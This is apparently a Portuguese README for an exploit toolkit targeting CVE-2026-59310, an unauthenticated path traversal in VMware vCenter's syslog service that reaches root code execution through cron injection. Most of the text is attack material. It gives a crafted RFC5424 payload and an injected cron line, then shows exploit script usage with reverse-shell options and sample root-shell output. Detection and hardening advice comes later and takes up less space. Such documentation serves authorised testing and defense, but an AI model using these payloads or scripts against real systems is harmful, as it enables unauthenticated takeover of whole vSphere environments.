
PoC e exploit em Python para CVE-2026-59310, uma path traversal no syslog do VMware vCenter que leva a RCE como root não autenticado via injeção em cron, com orientações de detecção e limpeza.
Aviso legal: Este projeto destina-se exclusivamente a testes de segurança autorizados, validação de vulnerabilidades e pesquisa defensiva. Utilize-o apenas em ambientes com autorização escrita explícita. O usuário é o único responsável por quaisquer consequências decorrentes do uso indevido.
| Item | Conteúdo |
|---|---|
| Nome da vulnerabilidade | Path Traversal no Syslog do VMware vCenter |
| Identificador | CVE-2026-59310 |
| Tipo de vulnerabilidade | Path Traversal → Escrita arbitrária de arquivos → Execução remota de código |
| CVSS 3.1 | 9.8 (Crítico) |
| Pré-requisito de exploração | Basta alcançar a porta syslog (UDP/TCP 514 por padrão), sem qualquer credencial |
| Consequência da exploração | Escrita em caminho arbitrário e execução de código arbitrário com privilégios root |
| Data de divulgação | 2026-07-29 |
| Exploração em campo | Já observada |
| Aviso do fornecedor | VMSA-2026-0006 |
O serviço de recepção de syslog integrado do vCenter (rsyslog) utiliza modelos de caminho dinâmico para armazenar logs; o modelo concatena diretamente os campos APP-NAME e HOSTNAME do cabeçalho da mensagem no caminho do arquivo, sem qualquer sanitização de caminho. Um atacante que envie uma mensagem especialmente construída para a porta syslog acessível pode fazer com que o caminho de escrita escape do diretório de logs pretendido, e combinando isso com tarefas agendadas, alcançar execução arbitrária de código.
O vCenter é o centro de gerenciamento de virtualização; uma vez comprometido, equivale à perda de todo o ambiente vSphere / VCF.
Versões afetadas (inferiores às versões corrigidas abaixo)
Também afeta: implantações autônomas do vCenter, bem como os componentes vCenter afetados utilizados no VMware Cloud Foundation, VMware vSphere Foundation e VMware Telco Cloud.
Ambiente verificado: VMware vCenter Server 9.0.2.0 / Build 25148086, anterior à versão corrigida 25629525, confirmadamente em estado não corrigido.
/etc/rsyslog.conf (configuração padrão de fábrica da VMware):
29: $template defaultLoc, "/var/log/vmware/%app-name%/%app-name%-syslog.log"
33: $template rsyslogadminLoc,"/var/log/vmware/%app-name%/%app-name%-syslog.log"
35: $template esxLoc, "/var/log/vmware/esx/%hostname%/%hostname%-syslog.log"
%app-name% é usado simultaneamente como nome de diretório e nome de arquivo, sem sanitização de caminho.
63: :app-name, startswith, "rsyslog" ?rsyslogadminLoc;rsyslogadminFmt
Exige apenas correspondência de prefixo; o atacante pode usar rsyslog/... para acionar essa regra e entrar no modelo de caminho dinâmico.
24: $EscapeControlCharactersOnReceive off
As quebras de linha no conteúdo da mensagem são gravadas no disco como estão, permitindo ao atacante controlar a estrutura de linhas do arquivo gravado.
Este é o ponto mais facilmente negligenciado nesta vulnerabilidade.
/ não é permitido por padrão, fazendo com que APP-NAME seja truncado em / → não é possível realizar traversal.APP-NAME é um campo independente separado por espaço, sem validação de lista de caracteres permitidos; / e .. são preservados como estão → é possível realizar traversal.O lado servidor input(type="imudp" port="514") utiliza o conjunto de regras padrão e também aceita mensagens RFC5424. O atacante só precisa formatar a mensagem no formato RFC5424 para que os caracteres de traversal cheguem diretamente ao caminho do arquivo.
Comparação prática (mesma carga rsyslog/../../../../tmp/x):
| Parser | Valor real de %app-name% |
|---|---|
| pmrfc3164 | rsyslog ← truncado em / |
| pmrfc5424 | rsyslog/../../../../tmp/x ← preservado integralmente |
Evidência adicional:
..puro é criado como nome de diretório literal (por exemplo,rsyslog..), o que indica que a camada omfile do rsyslog não realiza normalização de..; o que realmente determina o sucesso é se o parser consegue enviar/para o campo.
① Pacote UDP não autenticado → ② APP-NAME RFC5424 carrega traversal → ③ Escapa do diretório de logs e escreve arbitrariamente (root)
↓
⑤ Execução de código como root ← ④ Implanta tarefa agendada em /etc/cron.d
<134>1 2026-01-05T12:00:00Z h rsyslog/../../../../tmp/PWNED 1 ID - hello
Substituindo no modelo:
Diretório = /var/log/vmware/rsyslog/../../../../tmp/PWNED → /tmp/PWNED
Arquivo = o mesmo acima + "-syslog.log" → /tmp/PWNED-syslog.log
Resultado: gravação com proprietário root em /tmp/PWNED-syslog.log, com criação automática de diretórios pai inexistentes e conteúdo totalmente controlável.
O nome do arquivo gravado sempre termina em -syslog.log, impossibilitando sobrescrever diretamente /etc/cron.d/xxx.
Porém, com a passagem de nova linha, é possível injetar quebras de linha no MSG, fazendo com que o conteúdo controlável comece na coluna 0 do arquivo:
2026-01-05T12:00:00Z info rsyslog/../../../../../etc/cron.d/poc ← cron reporta "bad minute", ignora
* * * * * root /bin/sh -c '{ id; } > /tmp/out.txt 2>&1' ← executado como linha cron válida
#
O crond agenda e executa como root, obtendo:
uid=0(root) gid=0(root) groups=0(root),4044(shellaccess)
/opt/vmware/share/htdocs/ (lighttpd escutando na 5480) e depois ler via https://<target>:5480/..., consistente com a descrição do aviso do fornecedor./var/spool/cron/root: é possível gravar nesse diretório, mas seria necessário um arquivo com o nome root, limitado pelo sufixo -syslog.log, portanto /etc/cron.d/ é mais direto.Escrita arbitrária de arquivos (sem autenticação)
$ python3 exploit_cve_2026_59310.py <target> --check
[i] Versão do namespace da API: 9.0.0.0 (não é o build do appliance, apenas referência de fingerprint)
[*] APP-NAME : rsyslog/../../../../../tmp/cve59310_check_<name>
[+] Enviado. Espera-se gerar um arquivo com proprietário root no alvo
# No alvo:
-rw-r----- 1 root root 102 /tmp/cve59310_check_<name>-syslog.log
Execução de comandos (root)
$ python3 exploit_cve_2026_59310.py <target> -c "id; hostname"
[+] Implantado : /etc/cron.d/cve59310<name>-syslog.log
[i] Ler resultado : cat /tmp/cve59310_<name>.txt
# Após cerca de 60s:
uid=0(root) gid=0(root) groups=0(root),4044(shellaccess)
localhost
Shell reverso interativo (root)
$ python3 exploit_cve_2026_59310.py <target> --lhost <seu IP> --lport 4444
[+] Escutando em 0.0.0.0:4444
[+] Implantado : /etc/cron.d/cve59310<name>-syslog.log
[+] Conexão reversa bem-sucedida, proveniente de <target>:56184 —— shell root estabelecido
root@target# id; whoami
uid=0(root) gid=0(root) groups=0(root),4044(shellaccess)
root
Substitua o IP do alvo, o endereço de conexão reversa, etc., pelo seu próprio ambiente de teste autorizado.
exploit_cve_2026_59310.py# 1) Shell reverso root interativo (mais comum)
python3 exploit_cve_2026_59310.py <target> --lhost <seu IP> --lport 4444
# 2) Executar um único comando, saída gravada em /tmp/<name>.txt no alvo
python3 exploit_cve_2026_59310.py <target> -c "id; hostname"
# 3) Validação não destrutiva: apenas comprova a escrita arbitrária de arquivos sem autenticação
python3 exploit_cve_2026_59310.py <target> --check
# 4) Ver comandos de limpeza
python3 exploit_cve_2026_59310.py <target> --cleanup
Parâmetros comuns:
poc_vcenter_rce.pypython3 poc_vcenter_rce.py <target> --check # Validar escrita arbitrária
python3 poc_vcenter_rce.py <target> --rce "id" --name t # Execução de comando
python3 poc_vcenter_rce.py <target> --cleanup # Dicas de limpeza
poc_syslog_traversal.pyPermite controlar independentemente HOSTNAME / APP-NAME, para construção manual de mensagens:
python3 poc_syslog_traversal.py <target> \
--tag 'rsyslog/../../../../tmp/test' --msg 'hello'
Esta vulnerabilidade fornece apenas uma primitiva de escrita; o script não consegue excluir arquivos remotos por conta própria. A limpeza deve ser executada no alvo:
rm -f /etc/cron.d/cve59310*-syslog.log
rm -rf /etc/cron.d/cve59310*
rm -f /tmp/cve59310_* /tmp/cve59310_check_*
# No vCenter Shell, verificar a versão (ramo 9.0 com Build < 25629525 está não corrigido)
cat /etc/vmware-release
cat /etc/applmgmt/appliance/version
# Verificar se existe o modelo de caminho dinâmico vulnerável
grep -nE '%(app-name|hostname)%' /etc/rsyslog.conf
# Verificar se a passagem de nova linha está habilitada
grep -n 'EscapeControlCharactersOnReceive' /etc/rsyslog.conf
# 1) Arquivos anômalos em /etc/cron.d (atenção: entradas com sufixo -syslog.log)
ls -la /etc/cron.d/
grep -rl 'syslog.log' /etc/cron.d/ 2>/dev/null
# 2) Arquivos suspeitos *-syslog.log fora do diretório de logs (varredura completa do disco, mais eficaz)
find / -name '*-syslog.log' -not -path '/var/log/vmware/*' -not -path '/storage/log/vmware/*' 2>/dev/null
# 3) Diretórios anômalos gerados por traversal (atenção a diretórios com .. ou % no caminho)
ls -la / | grep -E '\.\.|%'
ls -la /var/log/vmware/ | grep -E '\.\.|%|rsyslog[^d]'
# 4) Conteúdo gravado no diretório estático do VAMI
ls -la /opt/vmware/share/htdocs/
# 5) Hostname anômalo nos logs de encaminhamento syslog (APP-NAME contendo / ou ..)
grep -nE '(\.\./|/)' /var/log/vmware/messages | head
Dica: o item 2, varredura completa do disco, é o meio de investigação mais confiável. Se o modelo realizar traversal para um caminho inexistente, o rsyslog criará automaticamente os diretórios pai; portanto, diretórios malformados como
/..etc/e/rsyslog../também são vestígios claros de invasão.
Consulte a tabela de Versões afetadas para atualizar. O ramo 9.0 exige no mínimo 9.0.2.0100 (Build 25629525).
Fechar a superfície de ataque RFC5424 (mais direto): vincular explicitamente o parser pmrfc3164 às entradas 514/1514.
parser(name="p3164" type="pmrfc3164")
input(type="imudp" port="514" ruleset="all" parser="p3164")
Sanitização explícita de caminho: configurar securepath="normal" e secpath-drop="replace" para o omfile.
O aviso de segurança do rsyslog upstream (GHSA-xmp9-244p-5ggv) indica claramente que securepath é o limite de caminho confiável.
Bloquear a passagem de nova linha: definir $EscapeControlCharactersOnReceive on.
Restringir o seletor: alterar :app-name, startswith, "rsyslog" para correspondência exata;
alterar as regras de verificação de hostname para uma lista de permissões baseada em IP/segmento de origem, evitando que qualquer remetente externo entre no modelo de caminho dinâmico.
Isolamento de rede: expor 514/1514 apenas para ESXi gerenciados e encaminhadores de log confiáveis; proibir acesso a partir de redes não administrativas.
⚠️ Atenção: atualmente, o que bloqueia o caminho
%hostname%é apenas o comportamento padrão do parser RFC3164, uma defesa acidental, e não um limite de segurança confiável. Assim quepermit.slashesinhostnamefor habilitado por compatibilidade, a mesma regra se tornará imediatamente explorável.
P: Por que a versão reportada pela ferramenta é 9.0.0.0, diferente do build real?
O /sdk/vimServiceVersions.xml retorna a versão do namespace da API, não o número de build do appliance, e não pode ser usado para determinar se está corrigido. No vCenter Shell, use cat /etc/vmware-release para verificar o build real.
P: Após a execução do comando, não consigo ler o resultado?
O crond agenda a cada minuto, geralmente sendo necessário aguardar cerca de 60s. Além disso, esta vulnerabilidade fornece apenas uma primitiva de escrita; o script não consegue ler ativamente o arquivo de volta, sendo necessário executar cat /tmp/cve59310_<name>.txt no alvo.
Também é possível usar --read-cmd para passar um comando de leitura externo (por exemplo, ssh root@target cat {path}).
P: O shell reverso não conecta de volta?
Causas comuns: o alvo não consegue acessar a máquina atacante (firewall / NAT / isolamento de segmento de rede); o crond ainda não foi acionado
(pode aumentar --timeout); a porta de escuta não está liberada. Pode-se usar --method python para alternar para uma implementação de fallback.
P: Por que -c "a; b" retorna apenas parte da saída?
Já corrigido. O script usa o redirecionamento agrupado { cmd; } > file 2>&1,
garantindo que toda a saída da sequência de comandos seja capturada (a; b > file redirecionaria apenas o último comando).
| Ramo | Faixa afetada | Versão corrigida |
|---|
| 9.1 | < 9.1.0.0300 | 9.1.0.0300 |
| 9.0 | < 9.0.2.0100 | 9.0.2.0100 (Build 25629525) |
| 8.0 U3 | < 8.0 U3k | 8.0 U3k |
| 8.0 U2 | < 8.0 U2f | 8.0 U2f |
| 8.0 versão inicial / U1 | Todas | Atualizar para 8.0 U3k ou superior conforme o caminho suportado |
| 7.0 | Sem o patch de suporte estendido correspondente instalado | Contate a Broadcom para obter o patch ou migre para uma versão suportada |
| Item | Valor |
|---|
| Alvo | VMware vCenter Server 9.0.2.0, Build 25148086 |
| Versão corrigida | 9.0.2.0100, Build 25629525 |
| rsyslog | 8.2306.0-4.ph5 (pacote personalizado VMware) |
| Portas syslog | UDP/TCP 514, TCP 1514 (TLS) |
| Requisito de autenticação | Nenhum |
| Parâmetro | Descrição |
|---|
--port | Porta syslog, padrão 514 |
--tcp | Usar TCP em vez de UDP |
--lhost / --lport | Endereço / porta de conexão reversa do shell |
--method {bash,python} | Método de conexão reversa, padrão bash (/dev/tcp) |
--name | Identificador único por execução, aleatório por padrão |
--timeout | Segundos de espera para execução/conexão reversa, padrão 180 |
-q | Não imprimir banner |